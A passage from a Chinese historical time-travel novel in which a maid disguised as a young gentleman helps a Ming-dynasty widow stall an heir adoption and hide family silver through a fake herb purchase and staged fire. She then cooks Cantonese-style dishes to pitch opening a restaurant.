叶问芙吃了闷亏,消停了好些日子,只是这笔账她狠狠地记在了宋瑾头上。
梅林院吵得不可开交时,紫竹苑里却是一片安静祥和。因为距离远,文雅几乎听不见她们吵闹。偶尔有余音飘来,她也只觉得有趣,总之她们过的不好,她就高兴。
在这个空档里,依着宋瑾身量裁的两身衣裳也送到了柏家。
顶着文子晋的名号,也就不必为柏家老爷穿孝衣了,而是一般男子的衣裳。
宋瑾捧着那两身衣裳回了自己屋子去换,莲心有空也跟着进去帮忙。
一身孝衣脱去,换上那件蓝色棉布的宽袖道袍,脚上换穿红色方头鞋。发髻放下来,改在头顶扎起,一条青布裹好,再戴上黑漆纱罗的四角方巾,一个明朝男子的日常装扮便完成了。
宋瑾穿戴完毕,晃着两条大袖子,心中不禁感慨:为什么明人爱穿道袍?
“姐姐,你穿成这样,倒真像个男子了。”
宋瑾笑笑,低头看自己,确实没什么女人特征。
“好啦,以后在外人面前就要改口叫我文公子了。”
莲心听了直笑,装模作样地施礼道文公子万福,两个人一下笑作一团。
这边玩闹的正开心着,外头杜鹃进来传话,大奶奶已经派人送了帖子去文家,明日文新就会来柏家找她一起去看院子。
宋瑾听了道好,心中明白要准备出门办事了。
文雅可不养闲人。
第二日一早,宋瑾穿戴完毕,跟着丫鬟们早早吃过饭,便自回了屋子等着。
果然文雅那边刚吃罢早饭,宋瑾就看见文新从院子外头进来了,于是整理衣衫走到院中等待着。
早间空气清新,晨雾里混着忍冬的甜香,引得宋瑾扭头自处寻找,结果花还没找到,杜鹃已经出来叫人了。
她跟随着杜鹃的脚步进了主屋,行了礼道了万福便立在那里等候吩咐。
“蔓草,往后你在外便自称子晋,他与我家数年不来往,柏家也没人知道你。今日你便跟着文新,
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一道出门去看院子,早早定下来将事办妥为好。”
宋瑾恭敬答是,又听了几段吩咐后,便跟着文新出了紫竹苑,一道出门办事去。
柏家宅子大,人有钱起来全然不顾什么规制,能多奢华就多奢华。想到这里的时候,宋瑾开始细细打量走在前头的文新。
二人装扮差不多,一样的四角方巾,只是身上穿的不同。
文新是银灰缎地流水落花暗纹的道袍,手上抓着一把泥金扇子,红杏湖石的扇面,底下坠着一个白玉双面鱼形扇坠,比她潇洒多了。
说什么商人不能穿绸缎,明明是穷人不能穿绸缎,穿得起的谁不穿?
宋瑾心中想了许多,口中一个字也不说,沉默地跟着文新从后院走到正厅,再穿过茶厅去了轿厅。
文新的轿子在那里等着,宋瑾也有了一顶轿子。
站在轿厅的宋瑾看着那顶小轿,忍不住揉了揉鼻子,被人抬着走她实在不大适应,可偏偏这里就是这般规矩。
南轿北马,苏州可不大方便骑马或乘坐马车,所以但凡有些身份的,或者女子,都是乘轿出行。
有钱人家自己备轿和轿夫,没钱的要出门便临时雇一个,总之女子是不会轻易在街头路面的,除了年长的婆子仆妇们,好似女人这张脸,天然见不得外面的光。
宋瑾如今用了文子晋的身份去经商,那也勉强算个公子,轿子得乘。
想到这里的时候,宋瑾弯腰钻进了那已经被掀开轿帘的小轿。
随着轿身一晃,轿子离了地,宋瑾却紧张地用双手紧紧攀住轿子两边,双脚用力蹬地,屁股不自觉地夹紧,生怕从前头滚了下去。
好在轿夫们训练有素,出了门上了街走上大道后,轿子稳当的不得了,宋瑾也就慢慢适应了。
轿子在一条巷子里停下,宋瑾一出轿子就看见了一道院门。
“这里地方不错,主家要搬去南京,这才空了出来,或买或租都是方便的。”
文新找的院子,因此站在一边跟宋瑾介绍着。
“姑姑想在外头有个地方,这里僻静,不惹人瞩目,倒是个极好的地方。”
宋瑾笑笑道:“要不开门进去瞧瞧。”
文新听罢一挥手,一个老翁走至门边开了锁,邀众人进去看。
宋瑾跟着文新进了院子,双目望去,院子两进,前头有门房,有下人房。穿过小天井便是一间坐启,坐启上头一间小阁楼,后面便是一间正院。一间主屋再加左右厢房,楼上还有屋子。
宋瑾思量着,雇家丁,藏银子,再安排一两个家人住进来看着,确实够用了。
就在宋瑾认真思考的时候,文新的目光落在她身上,一刻也不曾离开。
这人明明是个家奴,如今装扮成文家亲戚,怎么看起来比他还像个主子?
宋瑾在盘算着,他也在盘算着,脑中生出另一套主意来。
“文新兄......”宋瑾突然转头出声,迎面就对上了文新那双正盯着自己的眼睛,那眼神像是盯着猎物一般,看得她心中一咯噔。
她强自收敛心神,继续说下去:“就选择这里吧,我们一道回去回禀大奶奶,早日租下来,我们便好采买一些东西了。”
文新露出人畜无害的笑容,道了声好。
9. 主意
轿子在柏家的轿厅停下,宋瑾一下轿子就看见厅中多了好几顶轿子,有客人来。
“文公子,”柏家管事陈管事见轿子进来立刻走了过来,只是在喊公子的时候忍不住瞧了一眼宋瑾,虚假的身份让他不知道该跟宋瑾讲话。
宋瑾知道这其中的差距,原先他管自己,如今自己摇身一变,成了文家公子,就算是假的,也得装成真的。
“管事怎么候在轿厅?可是家中有贵客来访?”宋瑾没去在乎他的表情,谁尴尬谁消化,关她什么事。
陈管事听见问,尴尬地笑了一声道:“大奶奶正是叫我候在这里等二位回来,就怕撞上了那房的人。”
原来今日宋瑾跟文新出门后不久,柏笑天就带着人上门了,不为别的,只为立继。
宋瑾和文新听了这话对视一眼,不约而同地决定从茶厅侧面的八角门出去,经过抄手游廊直接去到了正厅后头。二人从后头进了门,立在正厅墙壁后面认认真真地听起了墙角来。
“弟妹,该说的话我们也都说清楚了。我弟弟死了,生前不曾立继,你作为未亡人,理应承担起立继一事。今日叔公也在,我们就把这个事情说定了。按宗族排序,我儿元槐理应继承,你再不要找什么理由来拖延。”
“哼,我丈夫死了不过数月,你们就开始惦记着他的家产了,我还没死呢。”
“弟妹,你也是快五十岁的人了,我弟弟就是五十没了的,今天讲什么也要把这事定下来。人我都给你带来了,咱们把该办的事情一次都给办了,免得日后再烦扰叔公。”
宋瑾和文新在壁后听着,听到这里是半晌不听见出声,一时疑惑,不知道前头发生了什么事,正好奇间忽听前头嚷嚷起来。
“大奶奶?大奶奶?”
一阵慌乱的脚步声传来,宋瑾跟文新对视一眼,就要绕过立壁去到正厅,却被文新拦住了。
他上下扫视她一眼道:“你还是先回去的比较好。”
宋瑾明白自己刚开始扮上文子晋就去见柏家人容易穿帮,也就不坚持了,两人分开行事。
文新去前面找他的姑姑,宋瑾则回了紫竹苑等消息。
过不多时,宋瑾就在房间看见文雅被人用一顶软轿抬回了紫竹苑,一众丫鬟跟随,文新也在里头。
柏家众人眉头直皱,这已经不是第一回了,一谈立继她就晕,次次都谈不下去。
外头管事早已派人去请医官,里头杜鹃带着众丫鬟将人扶到床上后便将众人撵了出去,文新也没能留在里头。
宋瑾缩在房中没有出来凑这个热闹,只是细细思索起这立继一事。
她记得清楚,寡妇无权继承丈夫遗产的,顶多只能帮继承之人监管,而这个继承之人......
几个曾经看过的案例从宋瑾的脑中划过,一个主意冒了出来,等到杜鹃从屋里出来时,她便立刻凑了上去。
“杜鹃,奶奶还好么?”
杜鹃听见宋瑾来问,叹息一声,先叫玉兰去泡壶茶送进来。
宋瑾一听见泡茶便知道文雅必然醒了,因此拉住杜鹃的胳膊悄声问:“奶奶可是醒了?”
杜鹃道:“奶奶就算是醒了也不想见人,那头闹的她头疼。”
宋瑾将杜鹃拉到一边继续问:“大奶奶经常这样么?”
杜鹃听见这么问,本能地望了屋子一眼才悄声说道:“奶奶一直这么应付的,只是不知道能还能扛多久,再这么下去,只怕那头就不会这么客气了。”
宋瑾听罢,凑近杜鹃耳边神秘兮兮地嘀咕了两句,说的杜鹃眉头一皱:“当真?”
“你且去告诉奶奶,我必能助她。”
杜鹃有些将信将疑,半晌无奈道:“好吧,你在这里等着我。”
宋瑾信心满满地站在门口等着,果然不大一会子,杜鹃便开了门唤她进去。
文雅坐在床上,从面色来看并无病容,显然刚刚的晕倒是装的。
宋瑾行礼道了万福,乖乖地站在那里等着问话。
文雅心情极差,语气也是闷闷的:“杜鹃说你有法子解困?不会还是什么假药吧?这么些日子了,也没见半点儿眉目。”
文雅没什么耐心,她一直用生病拖着大房那边,眼看着事情有了点眉目,可以让宋瑾把银子转移走,结果那头直接带着族长上门,逼她立继,给她气的够呛。
宋瑾稳稳道:“是有法子,不过不仅仅是假药的法子,而是推迟立继。”
文雅一听,凝神看向宋瑾:“你有推迟立继的法子?”
宋瑾恭敬道:“依我大明律法,大奶奶确实要为老爷立继,只是又没有说非得是亲至不是么?”
文雅听了叹息一声:“此事又不是我说了算的,有族长在,他又最亲,不是他还能是谁?”
宋瑾接着道:“这立继分应继和爱继,柏公子是应继,由他继承自然是没有错的。只是......”宋瑾缓了缓才道:“谁说不能立爱继了呢?若是此时大奶奶提出一位爱继者,不是就可以缓解眼前困境了么?”
“爱继?”文雅眉头蹙了起来:“这个说法我也听过,只是......这行不通的,他们必然要闹官司,最后还不是输掉。”
宋瑾笑笑道:“就是要他们闹官司,只要官司一日不定,他们便一日不能继承,大奶奶便可以喘口气了。”
文雅捏紧了拳头,人也站起来在屋中踱着步子,走着走着忽然转身:“好,我提出爱继之人,让他们闹去。还有你,要加快速度,一定要在他们继承之前把银子给我挪出去。”
宋瑾浅笑着道好,同时又问:“大奶奶可有人选了?”
文雅思虑半晌道:“柏家与我关系不睦,不过倒有个侄儿可以考虑。此人家贫,若是能得些钱财,往后必然听从于我,老来也算是有个依傍。”
“不可。”宋瑾毫不犹豫地否决,接着解释起来:“爱继虽说是未亡人挑选的心仪继承之人,可是您忘了么,这位爱继可是继承不了的,到时候数月官司下来一文不得,定然要失望的,岂非惹人厌憎?”
“那你说选谁才好?”文雅也是病急乱投医,尤其是在自己慌乱而宋瑾稳如泰山的情势之下,一时也顾不得主奴身份,反而
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求助起来了。
“依奴婢所见,您应当选择一位旗鼓相当之人作为爱继。俗话说的好,人为财死,鸟为食亡。眼下柏家那头合力欺负您一个,不就是因为觉得自己继承不了么?若是其中有人发现有机会继承这一大笔财产,大奶奶想想,他们能不争?能不抢么?只要他们争起来了,你便可以坐山观虎斗,反正谁赢了都不比柏公子继承更差了。”
“好!”文雅激动地一拍巴掌,“就按你说的办。”
这边主仆说完了话,那头医官也已经请到,可是文雅已经不再需要了,只等着柏家那房下次上门,直接提出爱继之人,让他们闹去好了,就算闹到公堂她也不怕。
至于宋瑾,还是那句话,要快。
回了屋子的宋瑾反复思考着这事还能怎么快,难道一把火给它烧了?
烧了?
宋瑾在思考着怎么烧时,杜鹃突然走进门来,手上还端着一托盘的饭食。
午时已到,她竟给忙忘了,还是杜鹃送了饭进来才想起来,只是这饭菜......
“莼菜豆腐汤,香椿煎蛋,黎蒿炒腊肉,还有炖猪蹄。”
杜鹃一边说着一边将菜摆在桌上,最后还配上了一大碗米饭。
“大奶奶赏你的。”
宋瑾两眼放出精光来,除了那块大蹄膀,蔬菜都是三月里的鲜货,别说在这大明了,就是现代人,若是地理位置不对,要想凑齐了也是要花些心思的。
“我一个人啊?”宋瑾抬头去问杜鹃,她指定吃不完。
杜鹃听见她问,索性把盘子放在一边坐下来说话:“你放心吃吧,我们在里头偶尔也能吃上的,就是外头的吃不上。”
“那要不把外头的叫来一起吃?”
杜鹃笑笑:“只要你舍得,我这就帮你去叫。”
宋瑾点点头,手上已经去抓饭碗了。
莼菜鲜,黎蒿口味特别,香椿那直冲大脑的特别香气让宋瑾想起了小时候。
她小时候不爱吃香椿,三月的农村蔬菜极为丰富,所以她一直把香椿排除在菜单之外。后来她离了家,吃起了廉价的外卖,寡淡的配蔬让她想起了老家三月里那气味特殊的香椿,及至第二年春天回家尝试,一下就爱上了。
眼下在这十六世纪的大明再吃上,差点把眼泪吃出来。
不过四百年而已,变化居然如此之大。
就在宋瑾快要哭的稀里哗啦之时,外头一下涌进来好几个丫头,进门也不客气,直接往桌上一趴,人人手上都抓着一双筷子。
“蔓草姐姐,咱们真的能吃啊?”
“能的,吃吧。”
一下子数双筷子都奔着那猪蹄去了,也有人抓着勺子喝莼菜汤,原本静悄悄的屋子一下热闹起来了。
“可是你让我叫来的,吃不上可别怪我。”
杜鹃笑着坐在一边,看一众小丫头抢菜吃,忍不住补充道:“给你们蔓草姐姐留一点,人家还没吃呢。”
小丫头们不好意思地嘿嘿笑了一场,动作斯文了些,宋瑾赶紧趁这空档给碗里扒了几筷子菜继续吃起来。
10. 求学
众丫鬟坐在桌边将那只肥大蹄膀啃尽了后也都陆陆续续地走了,临走前笑呵呵地谢过宋瑾,欢蹦乱跳地出了门,只是一出门各个脚步又都稳了下来,只有杜鹃坐在那里纹丝不动。
宋瑾猜出她有话想跟自己说,眼看人走尽了便先开了口:“姐姐可是有话要同我讲?”
杜鹃笑笑道:“你当真成人精了,之前你说你通神,我还觉得你是在诓我们,如今看来却是真的。”
宋瑾道:“这话可不好对旁人说的,否则别人该说我妖言惑众了。”
杜鹃尴尬地笑笑,外头算命的好打神仙招牌,家里头通神的却是第一个。
偏偏也怪,宋瑾那一回说自己通神后就再也不肯提这事了,似乎有意藏着。
她想,定是能带来好处的事情,不然岂会藏着掖着,她不就是靠这个搬进紫竹苑,得到女扮男装去经商的机会嘛。
想及此,她试探地问道:“你那日给奶奶默了首诗,是当真识字吗?”
宋瑾在这事上倒没瞒她:“确实识得一些,怎么?你要学识字?”
杜鹃有些不好意思地笑笑:“是不是有点子可笑?”
宋瑾笑颜舒展,“哪里就可笑了,你要想学,我可以教你啊。”
杜鹃有些受宠若惊:“当真?”
“我几时诓骗过你。”
宋瑾满口应承下来,杜鹃反倒不好意思起来,头低垂着,两手手指绞在一起:“我也没什么可谢你的......”
“这可不好说,”宋瑾笑笑:“你可是大奶奶的贴身丫鬟,将来没准儿能帮上我大忙呢。”
杜鹃听了,羞涩地笑笑:“只要你能用的上,我指定帮你。”
宋瑾应下了教识字一事,可是这事却没有想象中的好办。
一个是没有书籍,宋瑾只能用手默两首诗给她用,勉强凑合。
另一个问题才大,两个人都没有时间。一个要出门,一个要贴身伺候大奶奶,哪有那么多时间凑在一起读书识字呀。
于是宋瑾想了一个奇怪的主意,问问院中下人可还有想要学的。她默一首小诗,一人学上一两个字很快也就学完了,到时候大家一起念,碰上不认识的就去问旁人学了的,这样就算她不在家中,她们也能互相教学,并不耽误功夫,还天天都能见上,岂不是方便。
杜鹃一听,直道这是个好主意呀,至于笔墨纸砚根本不是问题,拿树枝子蘸了水,地上随便写。
唯一要准备的,是给宋瑾的那份,默写的那首诗不能写在地上。
杜鹃一拍胸脯说她去偷,宋瑾听了抿唇微笑。在她看来肯破了主奴规矩的人才算是人,唯主人是从的人才是真奴隶,那种人是没得救的。
而破规矩这件事,宋瑾一向都是支持的。
当资源分配不公的时候,你不能等,你要争,你要抢,然后你才能得到。
就像文雅,她若不是强势,柏笑南估计还能在家里给她娶下数个妹妹,柏家那房估计也早就继承了家业。如今她让宋瑾帮着挪家产,不就是破规矩嘛,谁也别指责谁。
在杜鹃看来,要拿几张纸是再简单不过的事情。
那些东西平日里都是她在收拾,房中有多少她最清楚。趁着大奶奶不在屋里的时候摸几张出来便是,笔也同法,砚台无需清洗,出来点上水就能化出墨来。
文雅实在不是什么精通文墨之人,只是习惯了在屋中摆上这些,叫人看着有些清高样子罢了,所以少了什么也根本发现不了。
笔墨纸砚交给杜鹃去办,召集大家一起学字的事情自然也是她,宋瑾只管等着东西凑齐开始教书。
等人走后,宋瑾趴在桌子上细细想着这些丫鬟们的出路,好像只有一条。
因为良贱不可通婚,奴婢要想嫁良人,自家老爷公子的小妾是最贴合实际的选项,可是哪个老爷公子不爱美人呢?
长得美自然没问题,长相普通就难说了,家奴就成了唯一的选项。
如今这柏家,没有老爷没有公子,就算看上了良人雇工,不得脱籍还是一场空。
要是柏元槐将来成了家里主人,杜鹃这种在紫竹苑谋事的想嫁过去,还不知道要被文雅怎样刁难。
唉,难啊。
不过对宋瑾而言,眼下最难的还是那把火,到底要怎么烧起来才能不惹人怀疑呢?
地方要偏,还得在柏家内,要烧的够尽,这样才不会被人发现。
西苑两个字一下蹦进了宋瑾的脑子。
西苑在西北角,偏。里头原先是四娘叶问芙住着,地方不大,可以减少损失。如今里头又没人,安全。房子也老了,容易燃起来,简直天选好地方。
宋瑾打定主意,就差说服文雅了。
她先在心中算了笔账,房子修整,虚假药材,这些都是成本,按照洗钱的标准,有点子损耗也属正常,就是不知道这大明的奶奶能不能接受了。
头疼。
宋瑾在这边头疼如何说服文雅的时候,那边文新已经帮着去把租房赁屋一事办妥了,这天上午带着赁屋的文书合同来了紫竹苑,转交给文雅。
文雅接了那文书,转头交给杜鹃让收好了,这才扭头问话:
“接下来该好好办事了吧?”
文新憨笑道:“是,眼下就着手准备了。”说完看向宋瑾,摆明了该她出头拿主意了。
真是一点责任也不担的货。
宋瑾察觉到文新投来的视线,微笑道:“大奶奶前几日说起速度要快,奴婢便想了一个极快的法子。”
文雅听了兴趣陡增:“你说说,怎么个极快的法子。”
“用火烧。”
宋瑾说的淡定,屋中几人听了却都傻了眼,最后还是文雅问了句:“你倒说说怎么个烧法。”
“外头采买药材是正当的交易,家中存放药材也是正常的法子,咱们只要把这存药材的库房一把火烧了,那银子自然也就没有了。”
文雅听了眉头直皱:“那我药材没了怎么办?”
宋瑾耐心解释着:“咱们买两批药材,一批真的,存进外头赁的院子里,一批放进家中库房里头入了库,这银子不就名正言顺地出去了么?然后将这假药材一把火烧了,谁会发现呢。等店中
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缺了药材,再支一笔银子把真药材买回来,那药材不就立刻成了现银,到时候大奶奶想怎么用就怎么用,想用在哪里就用在哪里,任谁也发现不了。”
文雅听了面色和缓了些,接着又沉了下来:“不好,库房连着各处,一烧岂不是烧一大片,损失也太多了些。”
宋瑾赶紧献计:“所以咱们要挪一挪库房,比如西苑。”
接着宋瑾就开始解释,为什么要把西苑挪成库房。理由不外乎是位置好,损失小,文雅听了琢磨半晌,终是一咬牙应了下来。
反正只要最后大头的银子归了她的私库,她才不管柏家那房最后继承了个什么呢。
众人商量完毕,两人一刻不耽搁,当下就出门去找铺子里的人去采买药材。至于要买什么,不看需要什么,而看什么药材昂贵。
什么百年人参千年灵芝,什么冬虫夏草昂贵燕窝,什么天然牛黄珍稀麝香,总之不怕太贵,就怕没有。
有些药材也不是一时半会能找到卖家的,但是能找到什么买什么,能找到多少买多少,总之这个银子一定要花出去。
采买不是一朝一夕的事情,得先找到相熟的卖家下定,像牛黄麝香就极难得,就算下定了人家也未必送的来。那就退而求其次,像阿胶海马一类,也全都添入采买清单里。
真药材需要店里下定,但是假药材的话,宋瑾和文新面面相觑,最好就别过柏家这边人的手了,万一叫人发现了就不好了。
柏家不方便,文家可就方便多了。
文新一拱手,说交给他便是,反正最后是一把火烧掉的东西,能烧起来就行了。
宋瑾自然乐意。
文新想赚差价,所以想撇开宋瑾,宋瑾想着将来要昧银子,两人事情办在一处,哪有为难他的道理,当场就扭头回了柏家,由着文新去操作。
坐在轿中的宋瑾掀了侧面的轿帘去看这大街,四月的苏州真是美啊。
标志性的粉墙黛瓦上是瓦蓝的天,街头叫卖吆喝声不断,街头铺子里已经可见水灵灵的樱桃。
宋瑾咽了口唾沫,那是她小时候常吃的东西,长大了见的大多是车厘子,比起黄樱桃的酸甜水嫩可差远了。
街头铺子不少,饭馆酒楼一样不缺,宋瑾闻着空气里飘来的香气,不禁心中暗想,要是她开个酒楼,必然能大赚。
可是开酒楼哪有那么容易的,铺子那么贵,租不起买不起的......
宋瑾灵光一闪,她租不起,可是文雅租的起啊。
药材换了现银,存在那里就是死的,拿出来做生意多好呀。况且她顶着文子晋的名号,不就是为了做生意赚钱嘛。
忽悠文雅,去开酒楼,自己掌勺露她一手。
想到这里的时候,宋瑾脸上露出笑意,手上不自觉地挽了挽袖子,颇有大干一场的样子。
谁能想到啊,这上辈子练就的厨艺,这辈子还能派上用场。
宋瑾得意洋洋,当下就命轿夫回了柏家。
这一次她也不去紫竹苑回话,也不去看西苑收拾的如何,而是直奔厨房,她要给大奶奶露一手。
11. 清蒸鲈鱼
说起吃,明代的饮食即使是跟现代比起来,那也不算差的。
早年宋瑾曾经翻阅过明清食谱,那做法放在现代绝对是耗时耗力耗材料。若是穷苦人家也就罢了,像文雅这种被银子泡大的奶奶,可不是随便什么就能糊弄过的。
因为这点,宋瑾花了些心思选菜。
先从菜系里删选。
她记得没错的话,辣椒在明朝还没有吃起来,所以川菜湘菜先抛弃;鲁菜徽菜闽菜不会,抛弃;江浙菜在苏州太多了,不新鲜,抛弃。
于是选项就剩下了一个,粤菜。
宋瑾拿定主意,直接奔进厨房,脸上堆起热情的笑脸,对着李婆婆道:“婆婆,可是要给各院里做午饭了?”
李婆婆见着宋瑾进来,说话还极热情,立刻觉得脸上有光,也笑着回应:“是呢,正在做着呢,可是想吃些什么?我看着有菜就给你做一份。”
宋瑾笑答:“不是我要吃,我是想自己给奶奶做道菜,可以嘛?”
李婆婆一听,手上切菜的动作都顿了顿:“你来做?”
“是呀,我从前不是也在厨房帮过忙么,我想给奶奶做道菜。”说完她声音放软了些,哀求道:“婆婆,你就叫我做一道嘛,我会告诉奶奶那是我做的,就算做的不好,也不会叫婆婆挨骂的。”
李婆婆瞧着她那样子,也就不再多说什么了,东枝还指望着她呢。
“好好好,你想做哪个菜?”
宋瑾环视厨房,寻找着适合做粤菜的材料,最后视线落在厨房院子里的鱼缸上。
“婆婆,可有新鲜的鲈鱼?”
“有有有,可新鲜了,今天早上送来的,现下还在鱼缸里头养着呢。”
说话间,人已经走向院子里,宋瑾跟在后头去看那鱼。
鲈鱼不大,清蒸刚好。
宋瑾这样想着,挽起袖子就要去捞鱼,却被李婆婆拦住了。
“你那身新衣裳,莫要沾水弄脏了,老婆子来帮你。”
宋瑾笑笑,并不阻拦,看着那婆子一双肥手猛然往水里一抄,等起来时鱼尾狂拍,水花四溅,当真是新鲜的很。
李婆子在厨房多年,干活利索,抓着那鱼就往厨房里头去了。
一手将鱼压在案板上,一手抓起一把一斤多重的菜刀,侧向一甩,只听啪的一声拍在鱼头上,那乱拍的鱼尾瞬间服帖了。
锋利尖刀捅进鱼嘴里,宋瑾觉得李婆婆都没用什么力气,鱼膛便被破开了。
利落地掏出内脏,撕去黑皮,在水中冲洗了一把又将鱼重新扔回案板上。
左手按鱼,右手反抓着菜刀,刀背紧贴着鱼身,逆向刮着鱼鳞,不到一炷香的时间,那鱼便从鱼缸里欢蹦乱跳的的鲜鱼变成了案板上开膛破肚的鱼肉。
“蔓草,给你杀好了。”
宋瑾笑着走过来,口中夸赞李婆婆当真是杀鱼的一把好手。
“我老婆子岂止是杀鱼的好手,杀鸡杀鸭杀黄鳝,连羊都杀过的。来,鱼给你,要怎么做?可要我们帮你?”
宋瑾摇摇头道:“婆婆帮我到这里就很感激了。”
话未说完,手已经抓起了桌上那条鱼,用小勺加了些盐在鱼身上搓洗,将鱼身粘滑的东西洗掉一些。
生姜去了皮,切了几个薄片,鱼肚塞两片,鱼身盖两片,碟子上分开横放两支筷子,就这么将鱼摆在了筷子上。
“婆婆,我这道菜很快的,等要给大奶奶上菜的时候将我这道菜放进滚水锅里蒸就好了。”
“行,没问题。”
李婆婆笑着应了,只是目光没有离开宋瑾的手,她倒是要看看宋瑾打算怎么做这条鱼。
说起鲈鱼,她熟悉的很,或做汤,或油煎,她都试过。
如今这宋瑾要滚水蒸鱼,她还不曾试过,而且瞧这蒸鱼的法子跟自己以往蒸鱼又不大一样,便放慢了手中活计,一双眼睛尽瞧着她了。
宋瑾手上不停,又切了极细的姜丝,待切完姜丝又抓了一小把葱。只见她从尾端将葱卷起,卷成一团切了。
李婆婆见了奇怪,这葱她们向来都是切小段的,哪有切成这细丝模样的。
正纳闷间,宋瑾又做出了一件让她难以理解的事情。她用碗盛了水,将葱丝放进水里泡着。
“你这......葱香都该泡没了吧?”
李婆婆担心起来,宋瑾却是无所谓的:“婆婆放心,这葱香呀我另有法子激出来。”
李婆婆没法子,只得随她去,自己招呼众婆子做饭,直等到饭菜都已经妥当了,宋瑾才又回到桌案边。
“锅里水已经滚了,现在蒸嘛?”
宋瑾点点头道好。
锅底垫上竹编的专用托盘,鱼碟放在托盘上,再盖上盖子,灶膛里大火不熄,宋瑾又领取了小锅煮料汁。
这些婆子们做完了饭菜本该送走,结果宋瑾要煮调料,一个个都伸头来看了。
宋瑾要了酱油,放下去之前闻了闻,比现代的还是差了些,不过也只有这个用了。
酱油一大勺,水半勺,一勺子糖。
放完糖后宋瑾想了想,又添了些,印象中江浙一带人似乎是能吃甜一些的。
葱段姜段芫荽段一起下入锅中,小火慢慢煮到起泡。
宋瑾计算着时间,从前有计时器,现在没有了,她只好蒙。
“婆婆,一盏茶的功夫有了吧?”
李婆婆道:“还没到,再等等。”
于是宋瑾又再等了会子,直到李婆婆告诉她时间到了,她这才掀了锅盖,鱼眼全白,蒸熟了。
李婆婆帮忙将碗端上来,宋瑾又自己动手将碟里的鱼汤倒了,这才抽去筷子。泡水的葱丝滤水,和姜丝一起放在鱼身上。
说来也怪,细细的葱丝泡过了水,居然都打起卷来了。翠绿葱丝盖在灰白鱼肉上,倒是好看的很。
煮好的料汁淋入碟中,最后在葱丝上浇上一勺热油,葱丝的香气被激发出来。
“原来是这么来的呀,这法子我从前还不曾试过,你从哪里学来的呀?”
李婆婆闻见香气便知道这做法不是胡来的,当即就来了兴致,问起宋瑾做法来。
“这个呀,是我梦中学的。”
神仙大法好,但凡遇上解释不来的事情,全都归于洞中神仙。
“哎哟你遇见的这可真是神仙,做饭写字,连脑子都灵光了哎,陈妈妈,你以后可以享福嘞。”
李婆婆颇为羡慕,倒是蔓草的娘陈婆子脸上并没有多少喜色。
她的蔓草跟以前不一样了,变得她都不认识了,可是蔓草明明还是叫她娘啊。
这道菜由李婆婆亲自端到紫竹苑去了,进门之前宋瑾叮嘱:“告诉大奶
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奶,这鱼肉一定要蘸着料汁吃才有味。”
李婆婆笑着连声道:“知道了知道了,你瞧好了吧。”
宋瑾眼看着李婆婆端着那碟子鱼进了主屋,自己就站在院中等待着。
新菜式上了桌,总要问问主人意见的,宋瑾也好奇这文雅会不会喜欢这清淡的粤菜。
宋瑾独自在院中踱着步子,时不时往主屋里头望上一望,直望了约莫一盏茶的功夫,才见李婆婆满脸笑容地跑了出来。
“说鲜,说嫩,说好吃呢,还问我可是新学的菜式,怎么做的。”
宋瑾笑着问:“那婆婆是如何答的?”
李婆婆道:“我就是按照你做的法子说的,不过......”李婆婆面色讪讪,有些不好意思起来:“我同大奶奶讲是你教我做的,你不会生气吧?”
新学一个菜式在大奶奶面前得了喜欢,这大概就是柏家厨子唯一得脸的时候了。
“怎么会,没有婆婆应允,我也做不了这道菜。”
“你不气就好,我就知道你好性子。”李婆婆笑颜炸开,满面红光,接着便是低声请求:“那你下次可能仔细的教教我呀,你那个料汁什么的......”
“好说,我明儿再做一回,细细的给您讲。”
“哎哎哎,可真是谢谢你了。”
宋瑾笑着送走了李婆婆,自顾自地想着如何去跟文雅开口说开个酒楼的事情。
一道菜只是展示,她得有更多的菜式出来才行,好在她还有些存货。
明儿去教李婆婆做清蒸鱼的时候,应该叫她订些极新鲜的排骨回来,清蒸排骨也是美味的。
再有蛋黄南瓜也是好吃的。
南瓜......
南瓜......
宋瑾拍着脑门儿细细想着,南瓜是传过来了吧,还有辣椒番茄,她得花点时间找找这些“新鲜”的食材。
正费劲想着的时候,杜鹃从门里走了出来,一眼就看见了在院中用手锤脑门儿的宋瑾。
“蔓草,奶奶叫你呢。”
宋瑾心中一喜,有戏了,连忙跑了过去。
走至杜鹃身边时,她悄声道:“奶奶高兴的很。”
宋瑾心中更加有底气了。
进了门行了礼,宋瑾自信满满地站在那里等着问话。
文雅一边用下人递来的帕子擦着手,一边问道:“这鲈鱼,是你教那婆子做的?”
宋瑾道了声是。
文雅轻笑了一声:“好端端的,怎么想起来要做这道鱼了。”
宋瑾不答反问:“大奶奶只管说味道如何,可还中意?”
文雅笑道:“还不错,用了心思的。”
宋瑾听了这话,便顺势将开酒楼一事说了出来。
“奴婢是想,这银子放着也是放着,不妨开间酒楼,独特的菜品必然能在苏州有一席之地的,到时候钱生钱,岂不是更好?”
文雅听了这话,笑容收敛,既不答是,也不答否,只是伸出手去观赏左手上三只金镶宝的戒指。
无人不爱财,只是怕亏罢了。
宋瑾只好继续道:“大奶奶眼下服丧,穿戴从简,等过了孝期,总要几副新头面的,到时候从这酒楼里出银子,岂不是名正言顺?”
文雅听了这话,手掌一握,缓缓道:“你这菜不行。”
12. 糖醋荷包蛋
宋瑾信心满满地进来,结果临头一盆冷水浇了下来。
“奶奶此话何解?”
论起生意来,文雅倒是难得的耐心和认真,当真给宋瑾解释起来。
“首先是口味不符合苏州人一贯的饮食,就算是喜欢,也不能全都如此寡淡。尤其是里头出现了不太富裕的客人,要吃的够味人家才觉得过瘾。你这个......”她瞥了眼桌上那道清蒸鱼,接着说道:“适合我们这些人家吃,酒楼里撑不起来。”
宋瑾抿了抿唇,并不辩驳文雅的话,而是仔细思考着对策。
既然说清新寡淡不适宜,那就加重口味好了,那更方便了。
“多谢奶奶提点,若是奶奶放心,奴婢晚间再做一道叫奶奶尝尝?”
文雅淡笑着应允了下来。
这对宋瑾来说是个好消息,不怕否定,只怕不给机会展示,只要机会多,早晚她能抓住的。
只是这晚上做什么呢?
排骨此时肯定没有了,牛肉这年头似乎还没有养殖起来,都是水牛,肉质差了些。
她想了半晌,想到一个四季皆有的菜式:糖醋荷包蛋。
材料简单,便宜,够味,四季能做。
宋瑾拿定主意,只等到日头西斜便直奔进厨房开始做菜。
糖醋荷包蛋要想做好,一个是鸡蛋要煎好,一个是料汁要调好。
热锅冷油,撒些许盐粒下去,宋瑾抓着一个鸡蛋在锅沿啪地一敲,贴近油面打进了锅里。
一众婆子听说中午那道清蒸鲈鱼得了大奶奶的赏识,于是都围过来看。
宋瑾也不遮掩,就这么边做边教:“鸡蛋要煎到两面金黄,一个一个轮流煎,免得煎成鸡蛋大饼。”
